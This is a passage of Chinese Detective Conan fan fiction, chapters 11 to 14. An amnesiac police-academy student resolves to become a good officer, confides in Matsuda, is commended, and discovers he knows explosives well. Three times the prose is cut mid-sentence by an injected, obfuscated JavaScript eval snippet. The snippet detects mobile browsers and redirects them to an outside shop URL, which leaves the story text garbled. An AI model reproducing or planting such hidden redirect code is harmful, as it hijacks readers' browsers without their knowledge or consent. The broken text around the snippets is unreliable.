——该死的人是我才对,你为什么会卷到这件事里?该死的、该死的、该死的,快把枪给我拿开啊,混蛋! 难以言喻的怒火顺着脊椎骨一点点蔓延,恐惧和不安在胸腔里翻涌,他想控制住他的情绪,但他失败了,他完全没办法抑制住。他似乎从来没有这么生气、不安过,如果他会哭的话,泪水或许早已夺眶而出。 “你还不出来吗?” 似乎过了很久,但又似乎只是过了1秒,他放弃了思考,通过扬声器说:“是我输了,别动他,■■■。” …… “是我输了,别动他。” 谷川居雾从暗道中缓缓走出,他面无表情地看着月光下举着枪、对着他的人,自觉地将携带的武器丢到一旁。他仿佛疲惫、困倦到了极点,垂着眸,他轻声说:“我想你的目标应该是我,别动他。” 对方笑了一下:“你比我想象中心软,谷川。” 谷川居雾偏过头:“那是你选到了正确的人。” “但凡换个人,我连看都不会多看一眼——只能说你很幸运,那么多人中挑中了我最需要的那个。” “是吗?或许吧。” …… “是吗?或许吧。”谷川居雾丝毫不在意对方的看法,“但kumo说‘生命不是简单的加减法’,我的行为也只是因为他说‘鱼在乎,每条鱼都在乎’。” “只要‘鱼’还愿意活下去。” “我会救下我能救下的‘鱼’。” …… 他茫然地想:他以前是这样的人吗? 11. 云居日记(11) 以前的谷川居雾是怎么样的人? 谷川居雾自我、傲慢,或许还有点弟控和偏执的属性在身上。但不得不说他同理心缺失,共情能力极差,还缺乏内驱力,对这个世界大部分的事物都漠不关心,和他人相处基本上都是处于一种旁观、看戏的姿态,不乐于付出感情,也不在乎他人是否付出感情。 大部分的坏标签基本都可以往他身上贴,他是个世俗意义上的混蛋。 在知道这些零星的记忆之前,云居冬弥会肯定地这么回答。 但现在他有点不确定了。 那么激烈的情绪真的是「谷川居雾」所激发的吗?那个甚至被他人评价「心软」的人真的是「谷川居雾」吗?那个因为kumo的话改变原本生死观的人真的是「谷川居雾」吗? 记忆是构成人的一部分。 那失去构成「谷川居雾」的重要记忆的「谷川居雾」还是谷川居雾吗? 云居冬弥还算是「谷川居雾」吗? 云居冬弥不知道。 就和他最开始来到这个世界时一样,他对自己,对这个世界一无所知——也不是一无所知,虽然记忆模糊不清,但他还是能隐隐感觉到他曾认识这个名为「柯学世界」的世界。 是从书……不对,是漫画书……也不对,是动漫?二次元?这……这些是什么来的? 头痛欲裂,那些零碎的名词仿佛在他脑中敲锣打鼓,云居冬弥完全无法思考。 他伸手握住装着冰苹果汁的玻璃杯,凉意顺着手掌传了过来,他晃了晃脑袋,喝了几口平复心情。 放下杯子,苹果的清香还残留在鼻尖,云居冬弥的视线停留在手中的杯子上,某种古怪的既视感让他如遭雷劈。 琥珀色的液体在灯光下透出几分淡淡的金色。 * 【恭喜解锁角色卡「库拉索」】 “哐当——” 酒杯从手中脱落,掉在地上,化作一碎片,剧烈的头痛骤然袭来,胃里一片翻江倒海,视线变得模糊不清,忽远忽近的呼唤和若隐若现的低语在耳旁杂在一起。 好难受。 呼吸变得异常困难,手脚难以使唤,谷川居雾无意识地睁大眼睛。 指甲深陷掌心,疼痛在蔓延,他竭力睁开眼,视线落在一张看不清五官的脸上。嗡鸣声如潮水般迅速淹没了所有声音,木然盖过疼痛,似乎有温热的液体划过脸颊,张开嘴,听不清的话从口中说出,回答着什么。 眨了眨眼,站在跟前的人向他伸出一支手,扶在他的胳膊上,注视着这一切的翠绿色眼睛静谧而温和。 年轻而熟悉的面孔倒映在对方眼中,低下头,沉闷而复杂的心情爬上心头。 喉间蔓延着异常的痒意,在剧烈的呛咳下,谷川居雾扯出了被紧握的手臂,一手挡在身前,一手拽着勒在脖子上的choker,眼前的事物天旋地转,薄薄的一层眼皮变得异常沉重。 脚下一滑,他朝后倒去。 视线的最后,是倒在实木地板上的玻璃杯,和从杯涓涓流淌着的淡金色液体。 在薄荷、松针和青苹果的混合气味中,他闭上了眼睛。 坠入了无尽的夜色。 * 云居冬弥缓缓眨了眨眼睛,活动了一下发麻的手指,他愣愣地看着苹果汁,感觉他见鬼了。 天杀的,这简直就是鬼故事! 虽然失忆是系统的锅,但因酒精过敏进医院这个是真的啊!而且是过敏性休克,差点没抢救过来的那种诶! 他居然是这么进医院的? 这个周末到底是怎么回事?破事这么一件一件的疯狂送上门? 云居冬弥有点郁闷,面无表情地喝了口苹果汁。 他们聊到哪了? 陷入自己的世界里太久,当云居冬弥缓过来时已经变话题了。 旁听了一会儿,可能是他是因为这次事件的关系,他们对自己都放开了些,基本没有像之前一样躲闪视线了,甚至隔壁的女生居然在看到云居冬弥看过来时,没注意到身旁的人欲言又止的表情,兴致勃勃地把他也拉入话题。 “你为什么想成为警察呢,云居同学?” * “你未来想干什么呀,kiri?” 躺在草坪上的弟弟忽然支楞起来,笑得有点傻,他指着自己说:“我先说!我想当心理咨询师,你不觉得这个职业超帅的吗?我一直一直都很喜欢这个职业,但很可惜,只读过几本科普书就来到了这,痛失一大爱好。” “我吗?”谷川居雾坐在他身旁包扎伤口,思考片刻后说,“我没有什么喜欢的职业,只要能和kumo在一起就好了。” “啊……人不能这么没主见的,kiri!” 弟弟谴责地看了他一眼,随后盯着他还在渗血的伤口看了一会儿,轻声说:“不如……就当警察吧。” 白发红眼的男孩肯定地说。 “如果是kiri的话,以后去当警察,一定是个威风凛凛、帅气逼人的好警察!” 谷川居雾停下包扎的动作,困惑地看向弟弟:“你认真的吗,kumo?” “警察?我吗?”谷川居雾指了指自己,不确定地说,“你觉得我能……去当警察?” 弟弟理所当然,仿佛在说什么既定的事实:“可以的,只要你想,那就会实现。” “……离开这里再说吧。” 谷川居雾眼睫轻颤,移开视线,低声说:“现在说这些太早了,离开这里前不要再说这些了,kumo。” * “我弟弟希望我能成为警察。”云居冬弥垂眸,平静地说,“他说,如果是我的话,以后去当警察,一定是个好警察。” kumo觉得他能成为一名……好警察吗? 什么样才算个好警察? 不说正义、勇敢、专业而不失温情。 那怎么也要具有良好的职业道德,拥有高尚的品质,具备坚定的意志和较强的责任心……才行吧? 这几乎都是他的反义词吧? ——毫无职业道德,缺乏高尚品质,责任心几近于无。 这才是他。 kumo居然觉得这样的他能成为一名好警察吗?而且他是认真这么觉得的。 「生命不是简单的加减法」 「鱼在乎,每一条鱼都在乎」 「只要‘鱼’还愿意活下去,我会救下我能救下的每一条‘鱼’」 …… 「如果是kiri的话,以后去当警察,一定是个威风凛凛、帅气逼人的好警察」 这些话串联在一起。 如果现在云居冬弥还没看出「谷川居雾」默认了kumo的话,真心实意地选择去当一名警察的话,他可以把脑子捐了。 这不是什么都依你了吗,kumo? ……哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619242|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真是疯了。 到底该怎么做才能成为一名好警察? 云居冬弥不知道。 他在警校里混日子混了一周,完全没想过这个问题,这不在他的预计范围内。 他的预计是什么?是随随便便读完警校,按部就班地去一个小地方当警员,如果习惯了就这么端着个铁饭碗平静如水地活着,如果习惯不了,就干脆摆烂辞职,回家里当个混吃等死的富二代阔佬。 你让这样的他怎么知道如何去成为一名好警察? * “怎么才能成为一名好警察?” 云居冬弥想不出来,干脆就问松田阵平了。 庆功宴后各班人马走的差不多了,剩下的人除了警校五人,他全都不认识。而萩原研二和班长在谈心,降谷零和诸伏景光他又不熟,几乎没说过几句话,他也只能问松田阵平了。 看到对方愣住的样子,云居冬弥平静地重复了一遍:“怎么才能成为一名好警察?” “哈?”抱着臂,站在烤肉店门口等萩原研二的松田阵平怀疑地看着他,挑起眉,“你不会今天脑子出问题了吧,云居?” “没有。我非常清醒。”云居冬弥说,“我很久没有这么清醒过了,松田同学。” 松田阵平叛逆、固执、自我、旁若无人而不善协作,但他也冷静、细致、责任感过人。更重要的是他心思细腻,还有点心软——虽然表面上看不出来,但云居冬弥觉得他大概是警校五人组里最容易交心的一个。 也是最容易答应他请求的一个。 因为他是唯一一个真正见过过去完整的「谷川居雾」的不正常,又在看见破碎掉的「云居冬弥」后,决定给予他一定的信任的人——他比其他任何人都清楚他的不对劲,但却默认他可以在此稍稍停靠。 数天以来心照不宣的掩饰太平被云居冬弥主动打破:“我知道我冷漠、傲慢、同理心缺失,连同羞耻心也很微弱,和一个好警察差了十万八千里。” 他冷静地剖白,将他从未掩饰过的内里没有任何保留地展示出来,“我知道我的过去可能有很大的问题,也知道你对我有所怀疑,毕竟我一直和班里的同学格格不入。但我想成为一名警察,一名合格的好警察。” 他的声音很轻,轻到只有他们两人能听见。 “停。”松田阵平看了眼四周,确认没人后,正色道,“我可以问你一下你的理由吗?” “当然。” 这其实是件很好猜的事情,毕竟云居冬弥从来没掩饰过他对弟弟的偏执,也没掩饰过他从不后悔的特性,所以,听到他理所当然地说:“我的弟弟希望我成为一名好警察,我已经做出了选择,我会按照那条原定的道路走下去,直到死亡。” 云居冬弥笑了一下:“我以为你早就知道我是个无可救药的偏执狂了?” 确实,松田阵平毫不意外。 * 但意外的是明亮的灯光下,那个向来与警校格格不入的青年收敛起他所有对外竖起的防备。 银灰色的眼睛没有丝毫平日里的黯淡和漠然,眼底的混乱和茫然在沉淀过后,反而变得格外干净而透彻,甚至有点懵懂。他眼中炙热、真挚的情绪无法做假,像是个被擦亮的蒙尘玻璃珠,在灯光下熠熠生辉。 他的声音甚至罕见地带上了几分示弱。 “所以,我可以请教你一下吗?” 松田阵平沉默了。 12. 云居日记(12) 松田阵平对云居冬弥的观感一直很复杂。 他真切地见过失忆前的还在少年时期的谷川居雾,他亲眼见过对方打电话时所泄露出的存粹到快要凝结成冰的危险性,他很清楚他的过去或许真的不是个世俗意义上的好人。 但现在冰化为凉水,过去外显的危险性化为淡而刻骨的疏离和沉寂。 其实他以前也很沉寂,沉寂到死气沉沉、行尸走肉,像具活着的尸体,就连在溺水时也不想挣扎的尸体。 尸体还自顾自地说:「你不该救我的。」 他想起了初见时对方空无一物的眼睛,他摩挲了一下手机,深深地看了眼对方:“你想当一个好……警察?” 云居冬弥淡淡地点头。 松田阵平又小声地重复了几次,表情古怪,他沉闷地说:“你应该想起我最初见到你,就看到你在水里放弃挣扎、毫无求生欲的样子吧?你现在跟我说你想当个保护他人生命安全和人身财产的警察?” 云居冬弥没有反驳,默认了他所说的一切,而这更让这一切显得更沉重了。 他依旧平静,他似乎一直很平静,就算他偶尔突发恶情、发癫时他也是平静的,似乎能让他产生波澜的只有他人的生死和他失踪已久的弟弟。 这个认知让松田阵平有点牙疼。 “警校天台细说。” * 警校宿舍的天台即将迎来了新的坦白局,唯一的问题是,云居冬弥觉得站在天台上不太安全。 “我们一定要在这个地方聊吗?”云居冬弥看了一圈四周的建筑,有点疑惑地移到门外,指着不远处的半废弃公寓大楼说,“从那里可以阻击到这。” 云居冬弥诚恳地说:“而这里没有遮蔽物,真的不安全。” 虽然云居冬弥以前也没怎么遮掩过他的异常,但当他真的把曾经欲言又止的话说出来后,松田阵平才隐隐明白了当年那个14岁少年所说的「你不该一无所知地救下我的」背后所没有说出口的话。 ——你对我的过去一无所知,你对我的危险性一无所知,你怎么敢就这么毫无防备地救下一个与你毫不相干的人? 但救人本就不需要理由。 他看见了,所以他救下了。 连带着也接负了对方所带来的责任的重量。 “你说你知道你的过去可能有问题。”松田阵平将他拎出去点,坐下,“那你应该知道你说的「我想要成为一名警察,一名合格的好警察」背后是什么对吧?” “知道。” “你知道你的过去或许并不清白,你进入警校的动机或许并不简单?” “知道。” “你……知道你的过去或许跟‘好警察’相差甚远,对吧?” “知道。”云居冬弥垂着眸,“不用这么迂回,你不是一直喜欢直来直往的吗,松田同学?” “我清楚地知道一个本质上很‘危险’的人在往相反的方向塑造后或许根本就不会再是‘我’;我很清楚我现在的记忆不全,做出的选择或许和‘我’原本所想的有偏差;我明白如果将自我塑造成与过去截然相反的样子,或许会造成不可逆转的影响。” “我很清醒,我真的很久没有这么清醒地认识到这就是现实了。” 云居冬弥话说到这,看到注视着他的松田阵平后知后觉地意识到,他其实在扯着对方来到了他不该来的地方。 「遇到我并不是什么好事。」过去的谷川居雾如是说。 他真的好恶劣。玩弄他人的正义感和责任心,就为了自顾自地自我感动。他想。 “其实……你也可以当我什么也没说过。”云居冬弥偏开视线,“我很麻烦,我本身就是一个烂摊子。” “哈?自顾自地说了一堆沉重的话题还想让我放手?” 松田阵平凫青色的眼睛死死地盯着他,毫不掩饰的攻击性让云居冬弥飘远的视线飘地更远了。 “给我听着,我当初救你只是因为我想救,我愿意承担救下你所带来的风险,我现在也愿意接下这种风险,去告诉你该怎么去约束自己,成为一个好警察。” “你现在想成为一名好警察,应该不仅仅只是一个好警察,对吧?”松田阵平不再避着对方所偏执的那个人,剖析着云居冬弥的话,“你的弟弟希望你成为好警察,你选择让你弟弟的话实现,所以你在问我之前,你心中已经有了答案。你其实是在找我确认吧?确认你确实有成为一名好警察的可能性,确定有个人可以在你放弃时拉你一把。” 云居冬弥没有否认。 说着,他笑了一下:“你知道你最危险的地方是什么吗?不是你过人的身手,不是你身上被埋没的秘密,而是你自知而清醒地注视着,而漠不关心。你知道你的底线可能在哪里,你知道法律的底线在哪里,你知道事情发展到什么程度,你会突破它。” “但你现在想给它加上一个不可逾越的高度,让你不可能越过它——以你弟弟的愿望作为标准。” 云居冬弥眼底的近乎凝固的平静有些许碎裂,他将视线移了回来。 “你想让这个标准永远指引着你,你想让你的执念锁住你不可控的危险性,你想让你的弟弟成为你永远明亮的太阳。” “你确实偏执成狂,云居。你对自己发动了一场最残酷、艰难的战争。” 云居冬弥悄悄掀起眼皮看了眼耐着性子跟他讲这些话的松田阵平。 “但我会拉住你。”松田阵平承诺道,“作为监管者,你‘好警察’定位的锚点,作为当年的施救者,当过去的阴影找上门时,我都会拉住你——就像当初我把你拉出水面一样。” 他的唇角勾起略带挑衅的弧度,锐利的视线落在云居冬弥身上。 “但你必须保证你永远保持清醒,永远理智,永远不会背叛你现在所做出的、由你对你弟的执念而构成的选择,在这条艰难、漫长的道路上一直走下去。”他的脸上浮现出孩子气的不爽,“你、不许、让我、后悔、做出、这个决定!” “好啊。”那个飘渺到似乎永远不会被人抓住的青年笑了一下,珍重地自我介绍:“重新认识一下,我是云居冬弥,原名谷川居雾,在失忆以前应该还有过像「shirasu」之类的曾用名,未来保不准还会有其他的名字——但我一定不会让你后悔这个决定的。” “松田同学,请多指教。” * “小阵平,云居同学,你们刚从天台下来吗?” 萩原研二站在楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619243|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梯口,看到两个人影,一前一后地移动着的身影,开口道。 随后他注意到松田阵平略微紧绷的侧脸和微飘的视线,以及,沉默地跟在松田阵平身后,仿佛只是道苍白而平静的剪影的云居冬弥,面色不改,脸上依旧带着轻松的笑容,只不过眉眼里掺了些许担忧。他轻声地说:“云居同学……你脸上的划痕没关系吗?” 他挑了个安全的话题,掩过两人所展示出来的疑点,仿佛从未察觉,而是划开了个安全范围,没有过问。 云居冬弥眨了眨眼,心中略微浮起的不安瞬间落了下去。他摸了一下侧脸,感到了微弱的痛感,他轻松而不以为意地说:“没事的,只是小伤而已。” “可是不好好处理的话,会留疤哦,云居同学。”萩原研二指了下,打了个wink,“要是留疤了话也太对不起这张脸了。” 云居冬弥微顿,走路的步子迈少了些许:“不会的,只是这种程度的话,我会能处理好的。” “这样啊。”萩原研二似乎有点好奇,眨了眨眼,自然地说,“云居同学会医疗知识吗?” 云居冬弥平静地说:“稍微懂一点,但也仅限于日常和应急处理了,毕竟我没有当医生的打算。” 松田阵平递给萩原研二一个适可而止、点到为此的眼神。 萩原研二如善从流地切换话题,笑着说:“不过下次还是不要做这种用脸接子弹的危险行为的啦,很危险的。” 云居冬弥思索片刻,肯定了对方的判断:“其实按照正常情况来说,他不会有开枪的时间就会被我放倒,这次是场意外,我太生气了,没判断好时机,是我的问题。” “生气?”萩原研二有点意外,“难得在云居同学口中听到这个词呢?我还以为云居同学不会和小阵平一样,一点就炸呢。” 云居冬弥反驳:“如果是松田同学的话反倒会冷静下来吧,他比我稳定多了。” “哈?”松田阵平挑眉,“你这定义的有问题吧?我那是正常人的发火,你这是生气到失控后对自我生命安全的不顾,这能一样吗?别把脾气暴躁和不要命混为一谈啊喂!” 云居冬弥视线微移:“正常来说,我还是很惜命的。” “好啦好啦,两位「稳定」的先生能不能先别吵了?嘴上说说可不会让伤口愈合哦!”萩原研二摆了摆手,“要不去我宿舍处理伤口吧——我宿舍离得最近哦。” “我可以自……”己来。 “好的~我就知道你会同意的,云居同学!” 萩原研二笑容灿烂地打断了未说出的话。 “我……” “只是简单的消毒,再简单包扎一下而已,你会同意的吧,云居同学?”萩原研二语调轻快,用一种笃定的口吻说,他瞟了眼身旁的松田阵平,后者没说什么,只是发出一声轻哼,默认了他的行为。 纯粹的善意将他尚未说出口的拒绝吞没,对方的每次劝说都让他的行为显得苍白无力,他感觉自己像运行到一半,却被新程序打乱进程的代码,导致加载不出来下一步该如何进行。 云居同学exe未响应,然后茫然地被拖走了,他甚至还听到了松田阵平发出“真慢”的不满的声音。 这是强买强卖吧? 13. 云居日记(13) 翌日清晨,云居冬弥按部就班地收拾完自身,将写好的检讨书叠成小块,塞进上衣兜里,便下楼在集合点站队。 云居冬弥站在队列里,脸上的OK绷已经换上新的,随意地贴着。他穿着训练服,站得笔直,目光随意地落在一个没有人的地方。周围偶尔有视线掠过,但他不太在意,只是装作浑然不知。 看吧看吧,反正他又不会少块肉。 云居冬弥已经被盯习惯了,大部分的时候都是「任你看任你看在意了算我输的」的态度。 今天也是如此。 但他习惯了不代表别人习惯了。 “喂喂,你就这么任他们看吗?” 松田阵平站在他左前方的位置,注意到云居冬弥面无表情之下藏着的无奈,便随意地开口说。他的声音不大但低沉,带着刚睡醒没多久的哑意,几乎是他说话的瞬间,那些若有若无的视线便若无其事地移开了。他挑眉道:“还是说你比较喜欢当大熊猫,被人围观?” “不,我不喜欢。”云居冬弥瞥眉,“但无所谓。” 总不能他一感到目光就一个个瞪回去吧?他有那么闲吗?反正只是看着而已,不痛不痒,就随对方去了。 “那你还挺能忍的。”换他早在第一天就一拳打过去了。 “原来那是忍耐?”云居冬弥细细感受一下,勉强察觉到这种情绪的存在,“那我应该确实挺能忍的。” “云居同学你这已经不是一般能忍了,这种情况我们一般称之为忍者。”萩原研二轻快的声音传来,他的视线在他脸上的OK绷上停留片刻,没忍住说,“脸上那个贴的太随意了,既不防菌也不透气,再加上今天还要训练,你不如摘下来,以免闷坏了。” “噢。” 云居冬弥在面对不知道的事情上相当听劝,将染着一点血的OK绷叠好,塞到口袋里,准备带回去烧掉。 集合哨吹响,窸窸窣窣的声响渐消,教官发布了例行演讲。 随后鬼塚教官领着一群焉嗒嗒、看上去没睡醒的人去做跑操了。 众所周知,每当结束放假的第一天,都是学生最困、最累、最放纵的一天之一——假期转瞬即逝,放肆的余韵还残留在体内,特别痛苦。 云居冬弥除外。 让他天天面对乌鸦不乌鸦、炸弹犯和他自己的身世,他觉得还不如上学呢。 虽然上交手机,但带薪上学,谁会嫌钱多呢?反正他不会。 * 好吧,偶尔还是会的。 朝礼上,换上一身制服的云居冬弥面无表情地站在班门口,看着面带赞许的鬼塚教官在班中激情演讲。 “……昨日下午,警校旁的便利店遭到抢劫时,以下几位同学临危不惧、沉着冷静,与歹徒智斗,凭借过人的胆识与优秀的团队配合,成功制服歹徒,保卫了国民的生命财产安全,充分展现了身为一名警察预备役的担当……” “念到名字的同学请走到台前——” 云居冬弥阴暗地蹲在视线死角。 “萩原研二。” “松田阵平。” “诸伏景光。” “降谷零。” “伊达航。” …… 数十人依次走至台上,台下掌声如虹,在热烈的气氛中,鬼塚教官念出了最后一个名字: “——以及,云居冬弥。” 他的心要碎掉了。 云居冬弥在停滞一瞬的掌声中,缓步走至队列之中,走到被同学们无声留出的位置上。过长的刘海被按要求别在耳后,露出光洁的额头和出众的五官。过于凌厉的面部线条叠加略带攻击性的眼神让他看上去强势而锋芒毕露。 只不过锋芒毕露的本人顶着一张看似波澜不惊实则走了有一段时间了的死人脸。 “喂,一会儿别用这个表情拍照啊,这可是集体合照,你这样影响我们发挥。” 懒洋洋的声音低声说道,云居冬弥摩挲了一下手指,垂着眸,躲避台下或赞许或好奇或不服的脸,幽幽地说:“表彰完,下一个被批评的人也是我。” “切,那你倒是别「用脸接子弹」啊,混蛋。”松田阵平没好气地说,“你那时咋没想到要写检讨呢?” “我也没想啊。”这不是回过神就站在那了吗? “好啦,放松点嘛。”萩原研二脸上还带着完美无瑕的笑容,微微偏头,小声加入聊天,“现在是「表彰」而不是「检讨」,对吧?” “……好的。” 云居冬弥犹豫了一下,觉得他说的有道理,就同意了。 他确实放松不下来。 这里的灯太亮了,台下的同学还很稀奇地打量着他,鬼塚教官的身影也越走越近。他站在这感觉像是被人从阴暗的角落硬生生挪到阳光下的蘑菇,不算讨厌,但非常不适应。 他移开目光,视线落在鞋尖,但表彰并不会因为他而减缓进程。 终于,轮到他了。 鬼塚教官站在他面前,视线落在他身上,将荣誉证书递到跟前,出于礼貌,云居冬弥若无其事地抬起眼,学着其他同学轻声说:“谢谢教官。” “云居。”但鬼塚教官没走,他用带着些许赞赏的沉甸甸的眼睛看着他,“在判断出情形危险的情况下依旧站了出来,面对持枪歹徒没有退缩,反而站了出来,出手果断,勇气可嘉,值得肯定!你在这次事件中所展现出来的胆识、执行力和判断力正是成为一名优秀警官不可或缺的素养!请继续保持!” 优秀警察不可或缺的……素养? 云居冬弥准确捕捉到这句话,摩挲了一下指尖,嘴角不自觉张扬了一点。明亮的光线落在浅色的眼中,像是星星点点的浮光,点亮了略显阴沉的眼睛。 这让他看上去带上了点这个年纪应有的朝气,仿佛真的就是个普通的、只是锋芒逼人了点的警校生。 和整日阴郁寡言、独来独往的那位鬼塚班You know who判若两人。 云居冬弥轻声说:“谢谢教官。” 这次的语气更诚恳了些,说完后又恢复成平常那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619244|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副破烂不惊的样子,看上去和平日没什么不同,又似乎有什么在悄无声息地改变。 那种改变很微弱,微弱到连他本人都没发现。 * 但萩原研二发现了。 “小云居真的很高兴呢。”他指了下合照上的云居冬弥,调傥道,“看这里,嘴角都上扬了几度呢,平时很少被夸吗?被教官夸一下这么高兴,嗯?” “小云居是什么称呼?好怪。”云居冬弥有点别扭,纠正了一下,“还有我高兴的不是这个。” 松田阵平拿过照片看了一眼,又偏头对比了一下云居冬弥的表情,发现真的上扬了一点点。他扬眉道:“他高兴的是他被夸有优秀警察不可缺少的素养啦!” 云居冬弥用食指和拇指比了一下,强调着说:“只有一点点,没有很高兴。” “真的没有很高兴的话你连解释都不会解释哦,小云居。”萩原研二仿佛没听到称呼问题,打了个Wink,“你这幅样子真少见呐,堪称百万名画了。” 松田阵平补刀:“确实少见。” 云居冬弥假装没听见,略过这个话题,吐槽道:“不过为什么表彰完之后就是全员批评大会啊,我就算了,为什么其他人也一起挨骂?” 嗯……这个嘛? 这事其实是大家一起提议的,说是只评判小云居一个人太不公平了,这件事是大家一起干的,也是一起莽的,怎么能只让一个人背锅呢。 所以他们昨天回来后便一起去找鬼塚教官了,强烈建议要批评的话就一起批评了,不要厚此薄彼。 但话可不能这么说,萩原研二眨了眨眼,轻松地说:“这个嘛,当然是因为我们是一个整体,当然要共进退,有罚一起罚,有赏一起赏,不是吗?” 云居冬弥若有所思,不太确定,他感觉对方略过了很重要的事情,但他还是说:“应该是的吧。” “就是的啊!” 萩原研二斩钉截铁地说,这坚定的语气让他放下了怀疑。 云居冬弥的微表情学得还不错,但也只是不错,萩原研二的表情管理太完美了,他看不出一点问题——但他也不太在意,他能感到对方所散发出来的善意是真的,那就够了。 他本身也不是什么非要探秘的性格,只是控制欲作祟罢了。 他本人就藏着很多秘密。 就连他这个明摆着写着有问题的人他们都可以接受,那他稍稍放下他多疑的性格,压下多余的控制欲又有什么。他总不能一直为了自己潜藏的不安去监视、控制别人吧。 这不是一个合格的好警察应该有的行为。 而且,云居冬弥也不想让这段轻松到令他都有所动摇的关系染上阴霾。 他们之间的联系脆弱而紧密,因为过去的一面之缘、他所带来的风险和他偏执的追求而存在。这本就悬在一根格外坚韧的蛛丝之上,没必要在此之上添加更多的重量了。 云居冬弥笑了一下,没有反驳,目光落在窗外碧空如洗的天空上,只有稀薄的浮云在缓慢移动。 14. 云居日记(14) 今天的云看上去很漂亮,阳光将天空染成了橘红色,层层叠叠的云通红一片,像被火燃烧的一样,云居冬弥盯着看了一会儿,若无其事地走向图书馆。 最近开设了拆弹课,目前正在学习理论知识,也就是化学原理、爆.炸装置和爆.炸.物种类那些的。 那些课本上出现的图片有点眼熟,他想去图书馆查一下。 云居冬弥站在书架前,随手抽出几本名字有点印象的专业书,翻了翻,肯定了他的想法。 他过去确实理论性得学习过有关的知识,而且学得相当深入,这些书对于他来说有点落后了。他看着书中提供的那些炸弹资料,脑中不禁会自动浮现出更精密、更危险的版本,手指会下意识得在书本上勾勒出改良方案的雏形。他意识到他对这方面熟悉得可怕,带着连他自己都不自知的信手拈来。 ……毕竟以前读的是工科,可能对这方面感兴趣,私下学过吧。 云居冬弥暗戳戳给自己找补。 他又凭借感觉,从书架上摸了基本专业性更高的书,顺手从隔壁拿了几本有点兴趣的书。 他坐在角落的座位上翻了许久,大概勾勒出他对这块的了解。 暖色的灯光在书页上映出微弱的光波,他翻动书页的力度很轻,但阅读速度极快,几乎是他刚看几眼,便翻向了下一页。那些化学公式和电路图在他眼里有点像很多年前便了解过的儿童读物,他似乎连思考都不用,就像如吃饭般简单地补全了书本略过的推导过程。 “我以前……这么闲的吗?怎么看过这么多乱七八糟的东西?” 他的指尖轻轻敲了几下书中的图片,眉头轻瞥,喃喃自语。 他的目光落在他随手画下的爆.炸.物设计图和电路图上,电路图所带来的某种既视感让他从口袋摸出他周末从家里带来的信号屏蔽器,某个灵感在他眼前飞速划过,某种难以言喻的直觉在他心中略过。 他摩挲了几下,有点震惊。 “不会吧……”这玩意不会是我自己手搓的吧? 他低着头又看了几眼这个精密的仪器,仔细地打量了一会儿,一张熟悉的结构图在他眼前一闪而归。 他随手在笔记本上记录下来,打算一会儿再去研究一下他刚刚回想起来的是什么东西。 再翻几本书看看他到底对这方面了解到什么程度了。 不过…… 云居冬弥并没有随身携带拆卸工具之类的,他在家中的这些工具基本都在角落里吃灰,他懒得洗,所以他也没想过要带过来,没想到居然有朝一日要用到。 看来今天必须去找松田同学借个工具拆开来看看了——拆坏了再说,他还有新的,要是他拆完确定这玩意是他造的,那就有意思了。 云居冬弥如是想。 * 云居同学从下午5点一直坐到晚上9点不累吗?到现在为止,他连一滴水,一口饭都没吃。 坐在隔壁桌的诸伏景光有点担忧,他都出去吃完晚餐后又回来,云居冬弥还是坐在原位,翻着一本又一本的书,手旁的笔记也翻了一页又一页。 但这不正常。 虽然最近状况有所好转,但还是能看出云居冬弥是个一看书就犯困,在课堂里困得不行,甚至会被教官点名、罚站的人,他的求知欲不高,正常来说是不会在图书馆里一坐坐这么久的。他似乎被什么困住了,被困在椅上,固执而偏执地寻求一点答案。 但这样不行,先不说别的,这种长时间高度集中注意力、不吃不喝的行为相当伤身体。 而且……虽然被气质和性格遮掩住了,但云居同学应该不是身体特别好的那类人。虽然他体术很强,非常灵活,但他的肤色过于苍白了,不是长期待在室内的那种白,而是昼夜颠倒、饮食不规律所带来的有点病态的白。 诸伏景光合上了原本正在看的犯罪心理,视线落在那道如幽灵般难以令人注意的身影上,去买了两瓶水,从口袋里摸出一块巧克力和饼干。 他缓步走到云居冬弥跟前,在对方疑惑地抬眼望向他时,温和地说:“云居同学,现在已经九点多了,不休息一下吗?” 云居冬弥微微一愣,视线移动到对方手中的水和零食上,似乎没理解对方的意思。他眨了眨眼,银灰色的眼睛一动不动地盯着对方看,眼里是不加掩藏的困惑。他礼貌性地笑了笑,声音因为长期没喝过水而有点哑,他低声说:“谢谢,没关系的,我一会儿休息。” 哑是正常的,诸伏景光早就想吐槽了,为什么会有人去哪都不带水? 理论课就算了,他连体能训练也不带,今天下午刚实战演练回去换了身衣服就来图书馆了,哪来的时间喝水。 但他本人对这种行为适应良好,完全不觉得有问题——真的是对自己的身体健康非常不在意的一名同学呢。 